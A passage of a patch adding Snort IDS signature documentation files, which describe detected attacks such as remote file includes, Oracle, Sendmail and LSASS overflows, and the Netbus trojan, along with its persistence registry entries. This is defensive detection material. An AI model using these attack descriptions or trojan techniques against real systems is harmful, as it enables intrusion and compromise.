+"template_modify_file.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2616.txt
+++ snort-2.7.0/doc/signatures/2616.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+2616
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in database
+replication. The "grant_surrogate_repcate" procedure contains a
+programming error that may allow an attacker to execute a buffer
+overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "userid" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Other:
+http://www.appsecinc.com/Policy/PolicyCheck97.html
+
+--
--- snort-2.7.0.orig/doc/signatures/606.txt
+++ snort-2.7.0/doc/signatures/606.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 606
+
+--
+Summary: 
+This event is generated when an attempt to login as the superuser is attempted using rlogin.
+
+--
+Impact: 
+Serious. If successful the attacker may have gained superuser access to the host.
+
+--
+Detailed Information: 
+This rule generates an event when a connection is made using "rlogin" with the username "root". Such activity is indicative of attempts to abuse insecure machines with a known default configuration. 
+
+Some UNIX systems use the "rlogin" daemon which permits remote "root" logins. This may allow an attacker to connect to the machine and establish an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with the "rlogin" service running and connects to it, then proceeds to guess the "root" password
+
+--
+Ease of Attack:
+Simple, no exploit software required
+
+--
+False Positives: 
+A system administrator may be logging in to a host using the username "root"
+
+--
+False Negatives: 
+If a local username is not the same as the remote one ("root"), the rule will not generate an event.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+Deny remote root logins to the host, use a normal user and "sudo" or give the user the ability to "su" to root where appropriate.
+
+--
+Contributors:
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS389
+
+--
--- snort-2.7.0.orig/doc/signatures/2721.txt
+++ snort-2.7.0/doc/signatures/2721.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2721
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_columns_to_flavor
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/428.txt
+++ snort-2.7.0/doc/signatures/428.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+428
+
+--
+
+Summary:
+This event is generated when a host generates and ICMP Parameter Problem datagram with an undefined ICMP Code.
+
+--
+
+Impact:
+ICMP datagrams should never contain undefined ICMP Codes.  This is normally an indication of nefarious activity occurring on the network.
+
+--
+
+Detailed Information:
+A router generates a Parameter Problem message for any error not specifically covered by another ICMP message.  This could be an indication of routing problems on the network, or malfunctioning routing hardware.
+
+--
+
+Attack Scenarios:
+None known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+
+--
+
+Corrective Action:
+ICMP Type 12 datagrams with undefined ICMP Codes are not normal network activity.  Hosts generating these types of datagrams should be investigated for configuration errors or nefarious activity.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.7.0.orig/doc/signatures/1322.txt
+++ snort-2.7.0/doc/signatures/1322.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid: 1322
+
+--
+Summary:
+This event is generated when packets on the network have both the 
+fragment and don't fragment bits set.
+
+--
+Impact:
+Possible reconnaisance.
+
+--
+Detailed Information:
+This rule detects a case where the packet is designated as having more 
+fragments whilst at the same time the "don't fragment" bit is also set.
+
+Under normal circumstances an ICMP error message (type 3 code 5) should 
+be generated and sent back to the source of the packet.
+
+The attacker may be trying to ascertain information about the network 
+architecture and configuration of network devices as a prelude to an 
+attack.
+
+an indicator of unauthorized network use, reconnaisance activity or 
+system compromise. These rules may also generate an event due to 
+improperly configured network devices.
+
+--
+Affected Systems:
+	All
+
+--
+Attack Scenarios:
+The attacker would need to craft packets with the fragment and don't 
+fragment bits set.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Employ a packet filtering firewall to deny outbound ICMP error messages.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000319.txt
+++ snort-2.7.0/doc/signatures/100000319.txt
@@ -0,0 +1,78 @@
+
+
+Rule:
+
+--
+Sid:
+100000319
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "ActualScripts" application running on a 
+webserver. Access to the file "direct.php" using a remote file being passed as 
+the "rf" parameter may indicate that an exploitation attempt has been 
+attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "rf" parameter in the "direct.php" script used by the 
+"ActualScripts" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using ActualScripts
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/2260.txt
+++ snort-2.7.0/doc/signatures/2260.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2260
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2002.txt
+++ snort-2.7.0/doc/signatures/2002.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+2002
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in php applications.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using php.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.7.0.orig/doc/signatures/100000574.txt
+++ snort-2.7.0/doc/signatures/100000574.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000574
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "cat_add.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "cat_add.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/1473.txt
+++ snort-2.7.0/doc/signatures/1473.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1473
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2714.txt
+++ snort-2.7.0/doc/signatures/2714.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2714
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure resume_subset_of_masters
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1530.txt
+++ snort-2.7.0/doc/signatures/1530.txt
@@ -0,0 +1,54 @@
+Rule:
+
+--
+Sid: 
+1530
+
+--
+Summary:
+This event is generated when activity relating to spurious ftp traffic is detected on the network.
+
+--
+Impact:
+Varies from information gathering to a serious compromise of an ftp server.
+
+--
+Detailed Information:
+FTP is used to transfer files between hosts. This event is indicative of spurious activity in FTP traffic between hosts.
+
+The event may be the result of a transfer of a known protected file or it could be an attempt to compromise the FTP server by overflowing a buffer in the FTP daemon or service.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using FTP.
+
+An attacker might utilize a vulnerability in an FTP daemon to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow access to FTP resources from hosts external to the protected network.
+
+Use secure shell (ssh) to transfer files as a replacement for FTP.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/109.txt
+++ snort-2.7.0/doc/signatures/109.txt
@@ -0,0 +1,103 @@
+Rule:
+
+--
+Sid:
+109
+
+--
+Summary:
+Netbus is a Trojan Horse.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine. This Trojan also has the ability to scan machines and networks for open ports, it can also redirect legitimate traffic to other destinations. It can turn the infected host into an open proxy server.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+	Windows NT
+	Windows 2000
+	Windows XP
+
+The Trojan changes system registry settings to add the Netbus sever to programs normally started on boot. Due to the nature of this Trojan it is unlikely that the attacker's client IP address has been spoofed.
+
+	SID	Message
+	---	-------
+	109	netbus active (outgoing TCP connection)
+	110	netbus getinfo (incoming TCP connection)
+	115	netbus active (outgoing TCP connection)
+
+Server ports usually opened may be one of the following depending on the version of netbus: 12345, 12346, 20034
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This event is indicative of an existing infection being activated. Initial compromise can be in the form of a Win32 installation program that may use the extension ".jpg" or ".bmp" when delivered via e-mail for example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised. Updated virus definition files are essential in detecting this Trojan.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+The manual removal of this Trojan should only be attempted by an experienced Windows system administrator.
+
+Edit the system registry to remove the extra keys or restore a previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices\
+	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
+
+Registry keys added include:
+
+	Netbus Server Pro
+	PATCH "C:\windows\patch.exe /nomsg" - note: the entry may not necessarily be called PATCH
+	NetBuster = ""
+	SysCopy = "command /c copy %windir%\\keyhook.dl_ %windir%\\*.dll /Y"
+	Rundll32 = "rundll.dl_ /noadd"
+	Rundll = "regedit /s nbsetup2.reg"
+
+Later versions may also add one of these registry entries:
+
+	HKEY_LOCAL_MACHINE/SOFTWARE/UltraAccess Networks/NetBus Server/
+	HKEY_CURRENT_USER/NetBus Server/
+
+These entries should be deleted.
+
+The files rundll.dl_ (note the underscore, this is important) and nbsetup2.reg should be deleted if they exist.
+
+Ending the process is necessary. A reboot of the infected machine is recommended.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS401
+http://www.whitehats.com/info/IDS403
+
+Hackfix.org
+http://www.hackfix.org/netbusfix/index.shtml
+
+Dark-e Trojan Archive
+http://www.dark-e.com/archive/trojans/netbus/index.html
+
+--
--- snort-2.7.0.orig/doc/signatures/2524.txt
+++ snort-2.7.0/doc/signatures/2524.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2524
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in Microsoft products via the Local Security Authority
+Subsystem Service (LSASS).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in LSASS that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in an unchecked buffer in the LSASS service, suscessful
+exploitation may present the attacker with the opportunity to gain
+control of the affected system.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems.
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the LSASS
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Use a packet filtering firewall to deny access to TCP and UDP ports 135
+and 445, UDP ports 137 and 138 and TCP ports 139 and 593 from resources
+outside the protected network.
+
+Access should also be denied to ephemeral ports and any other ports used
+by RPC services from sources external to the protected network.
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/338.txt
+++ snort-2.7.0/doc/signatures/338.txt
@@ -0,0 +1,60 @@
+SID:
+338
+--
+
+Rule:
+--
+
+Summary:
+This event is generated when an attack attempt is made against an ftp 
+server possibly running a vulnerable ftpd
+--
+
+Impact:
+Possible remote execution of commands on the affected server as the root user
+--
+
+Detailed Information:
+The Washington University ftp daemon (wu-ftpd) does not perform proper 
+checking in its SITE EXEC implementation, and allows user input to be 
+sent directly to printf. This allows an attacker to overwrite data and 
+eventually execute code on the server.
+
+--
+
+Affected Systems:
+Any system running wu-ftpd 2.6 .0 or below
+--
+
+Attack Scenarios:
+A remote attacker will attempt to execute commands on the ftp server 
+with root user privileges, over writing or modifying system files. This 
+can be done with anonymous and real user logins.
+--
+
+Ease of Attack:
+Simple, Exploits exist
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Upgrade to latest version which has fixes for this problem. Maybe even get rid of wu-ftp with something more secure
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.7.0.orig/doc/signatures/1421.txt
+++ snort-2.7.0/doc/signatures/1421.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+1421
+
+--
+Summary:
+This event is generated when an attempt is made to attack a device using
+SNMP v1.
+
+--
+Impact:
+Varies depending on the implementation. Ranges from Denial of Service 
+(DoS) to code execution.
+
+--
+Detailed Information:
+SNMP is a widely adopted protocol for managing IP networks, including 
+individual network devices, and devices in aggregate. 
+
+Several network devices come pre-installed with this protocol for 
+management and monitoring.
+
+A number of vulnerabilities exist in SNMP v1, including a community 
+string buffer overflow, that will allow an attacker to execute arbitrary
+code or shutdown the service.
+
+--
+Affected Systems:
+Any implementation of the SNMP v1 protocol
+
+--
+Attack Scenarios:
+An attacker needs to send a specially crafted packet to UDP port 705
+of a vulnerable device, causing a Denial of Service or possible 
+execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disable the SNMP v1 protocol, use SNMP v2 protocol as an alternative.
+
+Disable the use of SNMP for devices that do not need it.
+
+Use Ingress/Egress filtering on a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com)
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0012
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0013
+
+--
--- snort-2.7.0.orig/doc/signatures/100000131.txt
+++ snort-2.7.0/doc/signatures/100000131.txt
@@ -0,0 +1,60 @@
+Rule: 
+
+--
+Sid: 
+100000131
+
+-- 
+Summary: 
+This event is generated when a request for a file residing on a floppy drive is 
+sent to the PY Software Active Webcam Server. 
+
+-- 
+
+Impact: 
+A denial of service will result, and the server will need to be manually 
+restarted.
+
+--
+Detailed Information:
+Requests for files residing on a floppy drive will cause the PY Software Active 
+Webcam Server to crash. This rule looks for requests in the form of 
+"/A:file.ext" on port 8080, the default port for this server.
+
+--
+Affected Systems:
+PY Software Active WebCam 4.3
+PY Software Active WebCam 5.5
+
+--
+
+Attack Scenarios: 
+This vulnerability may be exploited with a web browser or a script.
+
+-- 
+
+Ease of Attack: 
+Simple, as it can be exploited using a web browser.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Currently, there are no known workarounds or fixes.
+
+--
+Contributors: 
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/100000351.txt
+++ snort-2.7.0/doc/signatures/100000351.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000351
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "UBBThreads" application running on a webserver. Access to the file "config[cookieprefix]" using a remote file being passed as the "w3t_language" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "w3t_language" parameter in the "config[cookieprefix]" script used by the "UBBThreads" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using UBBThreads
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.7.0.orig/doc/signatures/3364.txt
+++ snort-2.7.0/doc/signatures/3364.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3364
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.7.0.orig/doc/signatures/2208.txt
+++ snort-2.7.0/doc/signatures/2208.txt
@@ -0,0 +1,56 @@
+Rule:  
+
+--
+Sid:
+2208
+
+--
+Summary:
+This event is generated when an attempt is made to access fom.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Faq-O-Matic.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
